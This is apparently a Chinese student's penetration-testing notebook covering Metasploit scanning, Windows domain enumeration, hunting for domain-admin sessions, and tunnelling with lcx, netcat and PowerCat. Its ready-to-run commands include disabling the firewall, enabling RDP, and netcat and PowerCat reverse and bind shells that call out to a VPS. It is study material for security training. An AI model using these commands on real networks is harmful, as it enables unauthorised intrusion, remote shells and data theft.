1. 1. Metasploit
    1. 1.1. 被动信息搜集
      1. 1.1.1. whois
      2. 1.1.2. netcraft
      3. 1.1.3. nslook
      4. 1.1.4. google hacking
    2. 1.2. 主动信息搜集
      1. 1.2.1. Nmap
        1. 1.2.1.1. tcp 空闲扫描
      2. 1.2.2. postgresql
      3. 1.2.3. 结合 postgresql 与 Nmap
      4. 1.2.4. 端口扫描
    3. 1.3. 针对性扫描
      1. 1.3.1. 服务器消息块协议扫描
      2. 1.3.2. 搜索配置不当的 Microsoft SQL Server
      3. 1.3.3. SSH 服务器扫描
      4. 1.3.4. FTP 扫描
      5. 1.3.5. 简单网管协议扫描
  2. 2. 内网信息收集
    1. 2.1. 本机信息收集
      1. 2.1.1. 命令
      2. 2.1.2. 常见杀毒软件进程
      3. 2.1.3. WMIC 脚本自动收集信息
    2. 2.2. 查询当前权限
    3. 2.3. 判断是否存在域
    4. 2.4. 探测域内存活主机
      1. 2.4.1. NetBIOS 快速探测内网
        1. 2.4.1.1. 参数说明
      2. 2.4.2. ICMP 协议快速探测内网
      3. 2.4.3. ARP 扫描探测内网
      4. 2.4.4. 常规 TCP/UDP 端口扫描探测内网
    5. 2.5. 扫描域内端口
      1. 2.5.1. 端口 Banner 信息
        1. 2.5.1.1. 常见端口及说明
    6. 2.6. 收集域内基本信息
    7. 2.7. 查找域控制器
    8. 2.8. 获取域内用户及管理员信息
    9. 2.9. 定位域管理员
    10. 2.10. 查找域管理进程
    11. 2.11. PowerShell 收集信息
    12. 2.12. 域分析工具 BloodHound
    13. 2.13. 敏感数据防护
      1. 2.13.1. 资料、数据、文件的定位流程
      2. 2.13.2. 重点核心业务机器及敏感信息防护
        1. 2.13.2.1. 核心业务机器
        2. 2.13.2.2. 敏感信息和敏感文件
      3. 2.13.3. 应用与文件形式信息的防护
    14. 2.14. 分析域内网段划分情况及拓扑结构
      1. 2.14.1. 基本架构
      2. 2.14.2. 域内网段划分
  3. 3. 隐藏通信隧道技术
    1. 3.1. 基础知识
      1. 3.1.1. 常用隧道列举
      2. 3.1.2. 判断内网连通性
    2. 3.2. 网络层隧道技术
      1. 3.2.1. IPv6 隧道
      2. 3.2.2. ICMP 隧道
    3. 3.3. 传输层隧道技术
      1. 3.3.1. lcx 端口转发
      2. 3.3.2. netcat
        1. 3.3.2.1. nc 参数
      3. 3.3.3. PowerCat
    4. 3.4. 应用层隧道技术
      1. 3.4.1. SSH 协议
      2. 3.4.2. HTTP/HTTPS 协议
      3. 3.4.3. DNS 协议
        1. 3.4.3.1. dnscat2
        2. 3.4.3.2. iodine
    5. 3.5. SOCKS 代理
      1. 3.5.1. 常用 SOCKS 代理工具
      2. 3.5.2. 应用
    6. 3.6. 上传和下载
      1. 3.6.1. 利用 FTP 协议上传
      2. 3.6.2. 利用 VBS 上传
      3. 3.6.3. 利用 Debug 上传
      4. 3.6.4. 利用 Nishang / bitsadmin / PowerShell 上传
  4. 4. 权限提升分析防御
    1. 4.1. 系统内核溢出漏洞提权分析
      1. 4.1.1. 通过手动执行命令发现缺失补丁
      2. 4.1.2. 利用 Metaspoit 发现缺失补丁
      3. 4.1.3. Windows Expoit Suggester
      4. 4.1.4. PowerShell 的 Sherlock 脚本
    2. 4.2. Windows 操作系统配置错误利用分析
      1. 4.2.1. 系统服务权限配置错误
    3. 4.3. 提权这里先鸽了,属实不知道怎么写
  5. 5. 域内横向移动分析及防御
    1. 5.1. 常用 Windows 远程连接和相关命令

鮾魍肾透学习

菜鸡笔记

Metasploit

PowerShell 在线

https://www.pstips.net/powershell-online-tutorials

被动信息搜集

whois

1
msf > whois testfire.net

netcraft

http://searchdns.netcraft.com

nslook

1
2
3
nslook
> set type=mx
> testfire.net

google hacking

1
site:tetfire.net login

主动信息搜集

Nmap

1
2
nmap -sS -A -Pn -p1-65536 192.168.160.13
nmap -Pn -sS- A -oX Subnet1.xml 192.168.160.0/24
tcp 空闲扫描

冒充空闲主机 IP 帧标识

1
2
3
4
5
6
msf > use auxiliary/scanner/ip/ipidseq 
msf > show options
msf > set rhosts 192.168.160.0/24
msf > set threds 50
msf > run
msf > nmap -PN -sI 192.168.160.2 192.168.160.13

postgresql

1
2
3
4
5
/etc/init.d/postgresql start
msf > db_connect postgres:postgres@127.0.0.1/msf
msf > db_status
msf > db_import /root/test/Subnet1.xml
msf > hosts -c address

结合 postgresql 与 Nmap

1
2
msf > db_nmap -sS -A 192.168.160.13
msf > services -u

端口扫描

利用 msf 框架提供的端口扫描工具

1
2
3
4
5
msf > search portscan
msf > use auxiliary/scanner/portscan/syn
msf > set rhosts 192.168.160.13
msf > set threads 50
msf > run

针对性扫描

服务器消息块协议扫描

smb_version 模块可以遍历网络并获取 windows 系统版本

1
2
3
4
5
msf > use auxiliary/scanner/smb/smb_version
msf > show options
msf > set rhosts 192.168.160.13
msf > run
msf > hosts -u -c address,os_name,svcs,vulns,workspace

快速且安全定位高风险主机的方法

搜索配置不当的 Microsoft SQL Server

MSSQL 默认 1433 端口,使用 mssql_ping(利用 UDP 协议)

1
2
3
4
msf > use auxiliary/scanner/mssql/mssql_ping
msf > show options
msf > set threads 255
msf > run

用以在大量主机子网中查找 MSSQL,比 Nmao 逐一端口查找快得多

SSH 服务器扫描

ssh_version 模块用以识别目标服务器上运行的 ssh 版本

1
2
3
4
5
msf > use auxiliary/scanner/ssh/ssh_version
msf > show option
msf > set rhosts 192.168.160.0/24
msf > set threads 50
msf > run

如果期望攻击一个特定版本的 OpenSSH 服务程序,可以先使用 ssh_version 扫描

FTP 扫描

ftp_version 模块可以对 FTP 服务器进行扫描识别与查点

1
2
3
4
5
msf > use auxiliary/scanner/ftp/ftp_version
msf > show options
msf > set rhosts 192.168.160.0/24
msf > set threads 255
msf > run

scanner/ftp/anomymous 模块可以检查 FTP 服务器是否允许匿名用户登录

1
2
3
4
5
msf > use auxiliary/scanner/ftp/anonymous
msf > show options
msf > set rhosts 192.168.160.0/24
msf > set threads 50
msf > run

如果报告允许匿名登陆且拥有读写权限,就相当于我们对其拥有完全访问权限

简单网管协议扫描

可访问的 SNMP(简单网管协议)服务器可以泄露很多信息甚至导致设备被远程攻陷

msf 框架中包含了一个内置辅助模块 scanner/snmp/snmp_enum,RO 与 RW 权限的团体字符串猜解与获取很重要

内网信息收集

本机信息收集

命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# 1. 网络配置
ipconfig /all
# 2. 操作系统及软件信息
systeminfo # 版本信息
echo %PROCESSOR_ARCHITECTURE% # 体系结构
wmic product get name,version # 利用 wmic, 参考 https://blog.csdn.net/discover2210212455/article/details/82711930
powershell "" # https://docs.microsoft.com/zh-cn/powershell/scripting/samples/collecting-information-about-computers?view=powershell-7.1
# 3. 本机服务信息
wmic service list brief
# 4. 进程列表
tasklist
wmic process list brief
# 5. 启动程序信息
wmic startup get command,caption
# 6. 计划任务
schtasks /query /fo LIST /v # 必须要是 Administrator 执行,不然会报错
# 7. 主机开机时间
net statistics workstation
# 8. 查询用户列表
net user # 本机用户列表
net localgroup administrators # 本地管理员信息(通常包含域用户)
query user || qwinsta # 查看当前在线用户
# 9. 列出或断开本地计算机与所连接得客户端之间的会话
net session
# 10. 查询端口列表
netstat -ano
# 11. 补丁列表
systeminfo
wmic qfe get caption,description,hotfixid,installedon
# 12. 本机共享列表
net share
wmic share get name,path,status
# 13. 路由表及所有可用接口的 ARP 缓存表
route print
arp -a
# 14. 防火墙相关配置
## (1) 关闭防火墙
netsh firewall set opmode disable # Windows Server 2003 及之前的版本
netsh advfirewall set allprofiles state off # Windows Server 2003 之后的版本
## (2) 防火墙配置
netsh firewall show config
## (3) 修改防火墙配置
netsh firewall add allowedprogram C:\nc.exe "allow nc" enable # Windows Server 2003 及之前的版本,允许指定程序全部连接
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" # Windows Server 2003 之后的版本,允许指定程序进入
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe" # 同上,允许指定程序退出
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 同上,允许 3389 端口放行
## (4) 自定义防火墙日志的储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\shit.log"
# 15. 代理配置情况
reg query "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Internet Settings"
# 16. 查询并开启远程连接服务
## (1) 查看远程连接端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber # 结果为 0xd3d,转换后为 3389
## (2) 在 Windows Server 2003 中开启 3389 端口
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
## (3) 在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName = 'RDP-Tcp') call setuserauthenticationrequired 1
req add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

常见杀毒软件进程

进程 软件名称
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 服务器安全狗
McAfree McShield.exe McAfee
egui.exe NOD32
AVP.EXE 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

WMIC 脚本自动收集信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> Du1L0v3_WMIC_out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

查询当前权限

1
2
3
whoami  # 当前权限
whoami /all # 获取域 SID
net user XXX /domain # 指定用户的详细信息

判断是否存在域

1
2
3
4
5
6
7
8
9
10
ipconfig /all
nslookup xxxx.xxxx # 反向解析查询来判断域控和DNS是否在同一服务器上
# 信息
systeminfo
net config workstation
# 判断主域
net time /domain
## 1. 存在域但当前用户不是域用户,会报错 "系统错误5 拒绝访问"
## 2. 存在域且当前用户是域用户,则成功完成命令
## 3. 当前网络环境为工作组,不存在域,则会报错 "找不到域 WORKGROUP 的域控制器"

探测域内存活主机

可以分时间段进行探测,以对比存活主机及对应的 IP

NetBIOS 快速探测内网

NetBIOS 是局域网程序使用的一种应用程序编程接口

nbtscan 是一个命令行工具,用于扫描本地或远程 TCP/IP 网络上的开放 NetBIOS 名称服务器,将其上传到目标主机中,输入 IP 地址范围并运行

1
nbtscan.exe 192.168.1.0/24
参数说明
Token 含义
SHARING 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享
DC 该机器可能是域控
U=USER 该机器中有登录名为 User 的用户(不太准确
IIS 该机器中可能安装了 IIS 服务器
EXCHANGE 该机器中可能安装了 Exchange
NORTTES 该机器中可能安装了 Lotus Notes 电子邮件客户端
没有识别出该机器的 NetBIOS 资源(可以使用 -F 选项再次扫描

ICMP 协议快速探测内网

依次对内网中的每个 IP 执行 ping 命令,可以快速找出内网中所有存活的主机,使用如下命令循环探测整个 C 段

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

VBS 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
strSubNet = "192.168.1."
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived :)"
End If
Next
objTS.Close
WScript.Echo "All Ping Scan, All Done :)"
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.statusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Next
End Function

Shell 脚本

1
2
3
4
5
6
7
#!/bin/bash
for i in {1..254};do
{
ping -c1 -W1 10.10.1.$i && echo "10.10.1.$i" is alive;
}&
done
wait

ARP 扫描探测内网

  • arp-scan
  • Empire 的 arpscan 模块
  • Nishang 的 Invoke-ARPScan.ps1 脚本

常规 TCP/UDP 端口扫描探测内网

ScanLine

1
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,5432 -u 53,161,137,139 -O log.txt -p 192.168.1.1-254 /b

扫描域内端口

  • telnet
1
telnet DC 22
  • S 扫描器
1
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
  • PowerSploit 的 Invoke-portscan.ps1 脚本
  • Nishang 的 Invoke-PortScan.ps1 脚本

端口 Banner 信息

常见端口及说明
  • 文件共享服务端口
端口号 端口说明 使用说明
21、22、69 FTP/TFTP 文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
2049 NFS 服务 配置不当
139 SAMBA 服务 爆破、未授权访问、远程代码执行
389 LDAP 目录访问协议 注入、允许匿名访问、弱口令
  • 远程连接服务端口
端口号 端口说明 使用说明
22 SSH 远程连接 爆破、SSH 隧道及内网代理转发、文件传输
23 Telnet 远程连接 爆破、嗅探、弱口令
3389 RDP 远程桌面连接 Shift 后门(Windows Server 2003 及以下版本)、爆破
5900 VNC 弱口令爆破
5632 PcAnywhere 服务 抓取密码、代码执行
  • Web 应用服务端口
端口号 端口说明 使用说明
80、443、8080 常见的 Web 服务端口 Web 攻击、爆破、对应服务器版本漏洞
7001、7002 WebLogic 控制台 Java 反序列化、弱口令
8080、8089 JBoss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSphere 控制台 Java 反序列化、弱口令
4848 GlassFish 控制台 弱口令
1352 Lotus Domino 邮件服务 弱口令、信息泄露、爆破
1000 webmin 控制面板 弱口令
  • 数据库服务端口
端口号 端口说明 使用说明
3306 MySQL 数据库 注入、提权、爆破
1433 MSSQL 数据库 注入、提权、SA 弱口令、爆破
1521 Oracle 数据库 TNS 爆破、注入、反弹 SHELL
5432 PostgreSQL 数据库 爆破、注入、弱口令
27017、27018 MongoDB 数据库 爆破、未授权访问
6379 Redis 数据库 可尝试未授权访问、弱口令爆破
5000 Sysbase/DB2 数据库 爆破、注入
  • 邮件服务端口
端口号 端口说明 使用说明
25 SMTP 邮件服务 邮件伪造
110 POP 协议 爆破、嗅探
143 IMAP 协议 爆破
  • 网络常见协议端口
端口号 端口说明 使用说明
53 DNS 域名系统 允许区域传送、DNS 劫持、缓存投毒、欺骗
67、68 DHCP 服务 劫持、欺骗
161 SNMP 协议 爆破、搜集目标内网信息
  • 特殊服务端口
端口号 端口说明 使用说明
2181 ZooKeeper 服务 未授权访问
8069 Zabbix 服务 远程执行、SQL 注入
9200、9300 Elasticsearch 服务 远程执行
11211 Memcached 服务 未授权访问
512、513、514 Linux rexec 服务 爆破、远程登陆
873 rsync 服务 匿名访问、文件上传
3690 SVN 服务 SVN 泄露、未授权访问
50000 SAP Management Console 远程执行

收集域内基本信息

1
2
3
4
5
6
net view /domain  # 查询域
net view /domain:HACKE # 查询域内所有计算机
net group /domain # 查询域内所有用户组列表
net group "domain computers" /domain # 查询所有域成员计算机列表
net accounts /domain # 获取域密码信息(域密码策略、密码长度、错误锁定等
nltest /domain_trusts # 获取域信任信息

查找域控制器

1
2
3
4
5
6
nltest /DCLIST:hacke  # 查看域控制器的机器名
nslookup -type=SRV _ldap._tcp # 查看域控制器的主机名
net time /domain # 查看当前时间
net group "Domain Controllers" /domain # 查看域控制器组
## 一般一个域中会存在多个域控制器,如果主控制器故障则可以保证正常工作
netdom query pdc # 查看域控制器组(主控

获取域内用户及管理员信息

1
2
3
4
5
6
7
8
# 1. 查询所有域用户列表
net user /domain # 向域控制器进行查询
wmic useraccount get /all # 获取域内用户详细信息
dsquery user # 查看存在的用户(应该是域控才有
net localgroup administrators # 查询本地管理员组用户
# 2. 查询域管理员用户组
net group "domain admins" /domain # 查询域管理员用户
net group "Enterprise Admins" /domain # 查询管理员用户组

常用 dsquery 命令

1
2
3
4
5
6
7
8
9
10
11
dsquery computer  # 查找目录中的计算机
dsquery contact # 查找目录中的联系人
dsquery subnet # 查找目录中的子网
dsquery group # 查找目录中的组
dsquery ou # 查找目录中的组织单位
dsquery site # 查找目录中的站点
dsquery server # 查找目录中的 AD DC/LDS 实例
dsquery user # 查找目录中的用户
dsquery quota # 查找目录中的配额规定
dsquery partition # 查找目录中的分区
dsquery * # 用通用的 LDAP 查询来查找目录中的任何对象

定位域管理员

定位域管理员的常规渠道,一是日志,二是会话,日志是本地机器的管理员日志,可以使用脚本或 Wevutil 工具导出并查看,会话是指域内每台机器的登录会话,可以使用 netsess.exe 或 PowerView.exe 等工具查询(可以匿名查询,不需要权限)

查找域管理进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 本机检查
net group "Domain Admins" /domain # 获取域管理员列表
tasklist /v # 列出本机的所有进程及进程用户,寻找进程所有者为域管理员的进程
# 2. 查询域控制器的域用户会话
## 原理:在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理会话的系统列表
net group "Domain Controllers" /domain # 查询域控制器列表
net group "Domain Admins" /domain # 收集域管理员列表
NetSess -h # 利用 NetSess.exe 收集所有活动域的会话列表
## 交叉引用域管理员列表与活动会话列表
### 将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并于 NetSess.exe NetSess.exe 放在同一目录下,运行下面脚本
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
### 也可以利用 Get Domain Admins(GDA)批处理脚本:https://github.com/nullbind/Other-Projects/tree/master/GDA
# 3. 查询远程系统中运行的任务
## 首先从 Domain Admins 组中收集域管理员列表,将目标域系统列表添加到 ips.txt 文件中,将收集的域管理员列表添加到 names.txt 文件中,运行下面脚本
FOR /F %i in (ips.txt) do @echo [+] %u && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n>NUL && echo [!] %n was found running a process on %i && pause
# 4. 扫描远程系统的 NetBIOS 信息
## 首先从 Domain Admins 组中收集域管理员列表,将目标域系统列表添加到 ips.txt 文件中,将收集的域管理员列表添加到 admins.txt 文件中,运行下面脚本
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n>NUL && echo [!] %n was found logged into %i

PowerShell 收集信息

PowerShell 常用执行权限:

  • Resricted:默认设置,不允许执行任何脚本
  • Allsigned:只能运行经过证书验证的脚本
  • Unrestricted:权限最高,可以执行任意脚本
  • RemoteSigned:对本地脚本不进行限制,对来自网络的脚本必须验证其签名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Get-ExecutionPolicy  # 查看执行权限
Set-ExecutionPolicy Unrestricted # 修改执行权限
Import-Module ./PowerView.ps1 # 导入下载的 PowerView 脚本

# PowerView 常用命令
Get-NetDomain # 获取当前用户所在域的名称
Get-NetUser # 获取所有用户的详细信息
Get-NetDomainController # 获取所有域控制器的信息
Get-NetComputer # 获取域内所有机器的详细信息
Get-NetOU # 获取域内的 OU 信息
Get-NetGroup # 获取域内组和组成员的信息
Get-NetFileServer # 根据 SPN 获取当前域使用的文件服务器信息
Get-NetShare # 获取当前域内的所有网络共享信息
Get-NetSession # 获取指定服务器的会话
Get-NetRDPSession # 获取指定服务器的远程连接
Get-NetProcess # 获取远程主机的进程
Get-UserEvent # 获取指定用户的日志
Get-ADObject # 获取活动目录的对象
Get-NetGPO # 获取域内所有的组策略对象
Get-DomainPolicy # 获取域默认策略或域控制器策略
Invoke-UserHunter # 获取域用户登陆的计算机信息及该用户是否拥有本地管理员权限
Invoke-ProcessHunter # 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter # 根据用户日志查询某域用户登陆过哪些域机器

域分析工具 BloodHound

https://github.com/BloodHoundAD/BloodHound/releases/

敏感数据防护

资料、数据、文件的定位流程

  • 定位内部人事组织结构
  • 在内部人事组织结构中寻找需要监视的人员
  • 定位相关人员的机器
  • 监视相关人员存放文档的位置
  • 列出存放文档的服务器的目录

重点核心业务机器及敏感信息防护

核心业务机器
  • 高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
  • 产品管理系统服务器
  • 办公系统服务器
  • 财务应用系统服务器
  • 核心产品源码服务器(IT 公司通常会架设自己的 SVN 或者 GIT 服务器)
  • 数据库服务器
  • 文件服务器、共享服务器
  • 电子邮件服务器
  • 网络监控系统服务器
  • 其他服务器(分公司、工厂)
敏感信息和敏感文件
  • 站点源码备份文件、数据库备份文件等
  • 各类数据库的 Web 管理入口,例如 phpMyAdmin、Adminer
  • 浏览器密码和浏览器 Cookie
  • 其他用户会话、3389 和 ipc$ 连接记录、“回收站”中的信息等
  • Windows 无线密码
  • 网络内部的各种账号和密码,包括电子邮箱、VPN、FTP、TeamView等

应用与文件形式信息的防护

应用配置文件、敏感文件、密码、远程连接、员工账号、电子邮箱等

分析域内网段划分情况及拓扑结构

基本架构

常见的 Web 架构

  • ASP + Access + IIS 5.0/6.0 + Windows Server 2003
  • ASPX + MSSQL + IIS 7.0/7.5 + Windows Server 2008
  • PHP + MySQL + IIS
  • PHP + MySQL + Apache
  • PHP + MySQL + Nginx
  • JSP + MySQL + Nginx
  • JSP + MSSQL + Tomcat
  • JSP + Oracle + Tomcat

域内网段划分

  • DMZ

  • 办公区

    • 系统

      • OA 系统
      • 邮件系统
      • 财务系统
      • 文件共享系统
      • 企业版杀毒系统
      • 内部应用监控系统
      • 运维管理系统
    • 网段

      • 域管理网段
      • 内部服务器系统网段
      • 各部门分区网段
  • 核心区

    • 系统
      • 业务系统
      • 运维监控系统
      • 安全系统
    • 网段
      • 业务网段
      • 运维监控网段
      • 安全管理网段

隐藏通信隧道技术

基础知识

常用隧道列举

  • 网络层:IPv6 隧道、ICMP 隧道、GRE 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP 隧道、HTTPS 隧道、DNS 隧道

判断内网连通性

1
2
3
4
5
6
7
8
9
# ICMP 协议
ping <IP or 域名>
# TCP 协议
nc <IP PORT>
# HTTP 协议
curl <IP:PORT>
# DNS 协议
nslookup www.baidu.com vps-ip # Windows 自带 DNS 探测命令,没有指定 vps-ip 时,会从系统网络的 TCP/IP 属性中读取 DNS 服务器的地址
dig @vps-ip www.baidu.com # Linux 自带 DNS 探测命令,没有指定 vps-ip 时,会从 /etc/resolv.conf 文件中读取系统配置的 DNS 服务器的地址

还有一种情况流量不能直接流出,需要在内网中设置代理服务器。常见于通过企业办公网段上网的场景,常用判断方法:

  • 查看网络连接,判断是否存在与其他机器的 8080(不绝对)等端口的链接(可以尝试运行 ping -n 1 -a ip

  • 查看内网中是否有主机名类似于 proxy 的机器

  • 查看 IE 浏览器的直接代理

  • 根据 pac 文件的路径(可能时本地路径,也可能时远程路径),将其下载下来并查看

  • 利用 curl 命令进行确认,执行如下命令:

    1
    2
    curl www.baidu.com  # 不通
    curl -x proxy-ip:port www.baidu.com # 通

网络层隧道技术

IPv6 隧道

配置:https://lesca.me/archives/how-to-build-ipv6-tunnel-on-windows.html

支持工具

  • socat
  • 6tunnel
  • nt6tunnel

ICMP 隧道

常用工具

防御方法

  • 检测同一来源的 ICmp 数据包的流量,一个正常的 ping 命令每秒最多发送两个数据包,而使用 ICMP 隧道的浏览器会在很短的时间内产生上千个 ICMP 数据包
  • 注意那些 Payload 大于 64bit 的ICMP 数据包
  • 寻找响应数据包中的 Payload 与请求数据包中的 Payload 不一致的 ICMP 数据包
  • 检查 ICMP 数据包的协议标签,例如 icmptunnel 会在所有的 ICMP Payload 前面添加 TUNL 标记来标识隧道

传输层隧道技术

lcx 端口转发

1
2
3
4
5
6
7
# 1. 内网端口转发
lcx.exe -slave <公网主机IP> 4444 127.0.0.1 3389 # 目标机器执行,将目标机器 3389 所有数据转发到公网 VPS 的 4444 端口
lcx.exe -listen 4444 5555 # VPS 执行,将本机 4444 端口上监听的所有数据转发到本机的 5555 端口上
## 此时,用 mstsc 登录 `<公网主机IP>:5555`,或者在 VPS 上用 mstsc 登录主机 `127.0.0.1:5555` 即可访问目标服务器的 3389 端口
# 2. 本地端口映射
lcx.exe -tran 53 <目标机器IP> 3389
## 当部分端口(如 3389)的数据无法通过防火墙,可以将相应端口的数据透传到防火墙允许的其他端口(如 53)

netcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 1. 简单使用
## (1)命令查询
nc -h
## (2)Banner 抓取
nc -nv IP 21
## (3)连接远程主机
nc -nvv IP 80
## (4)端口扫描
nc -v IP 80
nc -v -z IP 20-1024 # 扫描指定主机的某个端口段(扫描速度很慢)
## (5)端口监听
nc -l -p 9999
## (6)文件传输
nc -lp 333 > 1.txt # 本地 VPS 主机,等待连接
nc -vn IP 333 < test.txt -q 1 # 目标主机,建立连接
## (7)简易聊天
nc -l -p 888 # 本地 VPS 主机,监听
nc -vn IP 888 # 目标主机
# 2. 获取 shell
## (1)正向 Shell
### 监听目标主机 4444 端口
nc -lvp 4444 -e /bin/sh # Linux
nc -lvp 4444 -e C:\windows32\System32\cmd.exe # Windows
### 本地或 VPS 主机上连接目标主机的 4444 端口
nc IP 4444
## (2)反向 Shell
### 本地获取 VPS 主机上监听本地 9999 端口
nc -lvp 9999
### 目标主机连接 VPS 主机 9999 端口
nc IP 9999 -e /bin/sh
nc IP 9999 -e C:\windows\System32\cmd.exe
# 3. 目标主机没有 nc 时反向获取 Shell
http://duitutu.cn/fuxk/shell.html
# 4. 内网代理
## VPS 监听 3333 短裤
nc -lvp 3333
## 目标主机
nc -lvp 3333 -e /bin/sh
## 边界服务器
nc -v vps-ip 3333 -c "nc -v tar-ip 3333"
nc 参数
  • -d:后台模式
  • -e:程序重定向
  • -g <网关>:设置路由器跃程通信网关,最多可设置 8 个
  • -G <指向器数目>:设置源路由指向器的数量,值为 4 的倍数
  • -h:在线帮助
  • -i <延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口
  • -l:使用监听模式,管理和控制传入的数据
  • -n:直接使用 IP 地址(不通过域名服务器)
  • -o <输出文件>:指定文件名称,把来往传输的数据转换为十六进制字节码后保存在该文件中
  • -p <通信端口>:设置本地主机使用的通信端口
  • -r:随机指定本机与远程主机的通信端口
  • -s <源地址>:设置本地主机送出数据包的 IP 地址
  • -u:使用 UDP 传输协议
  • -v:详细输出
  • -w <超时秒数>:设置等待连线的时间
  • -z:将输入/输出功能关闭,只在扫描通信端口时使用

PowerCat

https://github.com/besimorhino/powercat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Import-Module .\powercat.ps1  # 导入
powercat -h
# 1. 通过 nc 正向连接 PowerCat
powercat -l -p 2333 -e cmd.exe -v # 目标机器监听 -l:监听模式,用于入站连接 -p:指定监听端口 -e:指定要启动进程的名称 -v:显示详情
nc tar-IP 2333 -vv # 本地机器获得 shell
# 2. 通过 nc 反向连接 PowerCat
nc -l -p 2333 -vv # 本地机器监听并接收 shell
powercat -c tar-IP -p 2333 -v -e cmd.exe
# 3. 通过 PowerCat 返回 PowerShell
powercat -l -p 2333 -v # 本地主机监听
powercat -c tar-IP -p 2333 -v- ep # 目标主机,-eq:用于返回 PowerShell
# 4. 通过 PowerCat 传输文件
powercat -l -p 2333 -of test.txt -v # 本地主机
powercat -c tar-IP -p 2333 -i C:\test.txt -v # 目标主机
## 传输完毕后连接不会自动断开,可以在本地文件末尾追加需要的内容,-i:输入,可以写文件名,也可以直接写字符串 -of:输入文件名,可以在文件名前添加路径
# 5. 用 PowerCat 生成 Payload
powercat -l -p 2333 -e cmd -v -g >> shell.ps1 # 本地生成,反弹 cmd
powercat -l -p 2333 -ep -v -g >> shell.ps1 # 本地生成,反弹 powershell
## 上传到目标机器并执行
powercat -c tar-IP -p 2333 -v # 本地接收 shell

应用层隧道技术

SSH 协议

创建 SSH 隧道的常用参数

  • -C:压缩传输,提高传输速度
  • -f:将 SSH 传输转入后台执行,不占用当前的 Shell
